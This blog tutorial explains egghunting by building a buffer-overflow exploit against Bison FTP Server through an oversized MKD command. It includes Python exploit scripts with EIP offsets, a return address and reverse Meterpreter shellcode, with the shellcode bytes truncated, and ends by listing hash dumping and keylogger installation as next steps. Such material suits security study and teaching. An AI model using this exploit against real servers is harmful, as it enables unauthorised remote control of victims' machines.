Tag Archives: bison ftp

Egghunting for Fun and Profit w/ Bison FTP Server

Often times when we are writing exploits, we find there isn’t enough buffer space given to us to store our shellcode in. In these situations, we must store our shellcode in some other memory region and jump to the location, but sometimes this is easier said than done. Perhaps our shellcode is stored in a distant address that requires a 5 byte jump to access or perhaps .
In this post, I will be going over egghunting, which is a commonly used solution to overcome these limitations.
Please note that it is of course, not the only solution.
I have overcome these limitations in my previous posts using other techniques but for the sake of education and learning this technique I will be utilizing an egghunter to write my exploit on the Bison FTP Server.

For the uninitiated, egghunting is a technique employed by exploit developers that involves using a unique key or an egg, to search
a process’s virtual address space for shellcode stored in some other memory region. In order to find and execute the shellcode, it is “tagged” by prepending the shellcode with the 4-byte egg repeated twice. For example, if the egg is “w00t” then the egghunter searches for the string “w00tw00t”. “Why is the egg repeated twice?”, you ask? For optimization purposes. Having to search for 1 unique DWORD repeated twice allows the egghunter to be smaller than if it had to search for 2 unique DWORDs.

If you would like to learn more about egghunting, I highly recommend you read Corelan’s tutorial or Skape’s original paper.

Now that we understand the basic concept of egghunting, let’s get started.

After fuzzing the Bison FTP Server application, I found it crashed when making a directory of about 1800 bytes.

Next, I began making my exploit by sending it a unique 2000-byte pattern generated by Metasploit and finding the offsets of the registers
using mona.py.

Bison Pattern

As a side note, after familiarizing myself more with mona.py, I am now truly convinced that it is indeed, the swiss army knife for exploit developers. We will see why in this post as we continue making our exploit.

Looking at our log file, we see that our EIP exists at offset 1428 so we can assume that we can control EIP by padding the beginning of our buffer with 1428 bytes. I tested this out using “babecafe” as my return address:

import sys
import socket

addr = ("", 21)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A"*1428 + "\xba\xbe\xca\xfe" + "B"*568

s.send('USER ftp\r\n')
s.send('PASS ftp\r\n')
s.send("MKD "+buffer+"\r\n")

And sure enough, when we send this code we see that EIP is overwritten with our DWORD in 2’s compliment form:

Bison EIP

Now that we have control over EIP, where do we direct it to?
Since we will be egghunting, the first stage of our payload will be to jump to our egghunter.
Let’s generate our egghunter code with mona.py using “w00t” as our egg so we know how much space we’ll need to store it in our payload.

bison egg generate

Looks like we’ll only be needing 32 bytes. After examining the other registers and seeing which ones were also overwritten by our buffer when it was sent, I found that the EDX register was a good place to store our egghunter. As we saw in our log earlier, the EDX register exists at offset 1024. That is where we will be placing our egg hunter.

Now that we know where to direct EIP to, we must find a JMP EDX instruction loaded in some non-ASLR enabled module in our process that exists at an address without any null bytes. Again, mona.py makes this search a painless process.

Bison Find JMP EDX

If we examine our log.txt file, we can view the rest of the results:

Bison Find JMP EDX 2

I just chose the first CALL EDX instruction that didn’t start with null-bytes. It does the same thing as JMP EDX essentially. The address of that instruction is 0x7c87a0be

Now let’s begin the second stage of our exploit. We must now generate our shellcode and store it somewhere in our payload.
Let’s figure out how much space we have to work with.

After looking around a bit in Immunity I noticed that the end of our payload was getting cut off, leaving me only about 90 bytes of buffer space post-EIP to work with. Clearly that isn’t enough. The beginning of our buffer looks ideal though. Our egghunter exists at an offset of 1024 bytes so we have 1024 bytes to use for our shellcode if we place it at the beginning of our buffer. That should probably be enough space.

Using msfpayload to create reverse Meterpreter session shellcode and piping it to msfencode to remove any bad chars, I found I only needed 317 bytes for my desired shellcode. Perfect.

By the way, for those unfamiliar with Meterpreter it is essentially a shell on steroids. It is a staged, advanced payload that supports many useful dynamic exploitation and post-exploitation functions. Very useful for penetration testers and my personal favorite payload in the Metasploit Framework.

Now that we have gathered all the essential parts of our buffer, all that’s left to do now is to tag the shellcode by prepending it with our 4-byte egg repeated twice, and padding the rest of the space to ensure the functionality of our payload.

My final exploit script looks like this:

import sys
import socket

addr = ("", 21)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#egg is "w00t"
#egghunter is 32 bytes
egghunter =("\x66\x81\xca\xff"

#Reverse Meterpreter to port 1337 Shellcode. Size = 317 bytes.
shellcode =("\xdd\xc2\xbd\x6f\x6f\x1f\xb8\xd9\x74\x24\xf4\x5e\x33\xc9"

#buffer is 2000 bytes
#eip offset 1428
#edx offset 1024
#call edx - 0x7c87a0be

buffer = "w00tw00t"+shellcode+"A"*699+egghunter+"\x90"*372+ "\xbe\xa0\x87\x7c" + "B"*568

s.send('USER ftp\r\n')
s.send('PASS ftp\r\n')

print "[*] Sending evil buffer..."
s.send("MKD "+buffer+"\r\n")
print "[*] Buffer successfully sent! Reverse Meterpreter shell now opening on port 1337!"

Excellent. Now let’s open up a handler using Metasploit so that we can accept our incoming payload and send our exploit to our Bison FTP Server…

Bison Exploit Sent

Take a look at what happens on our handler:

Meterpreter Handler

So as we can see, our exploit was successful and a Meterpreter session opened up for us allowing us to perform a whole host of different attacks. We can now easily dump user hashes, install trojans, install key-loggers, drop into a shell, etc.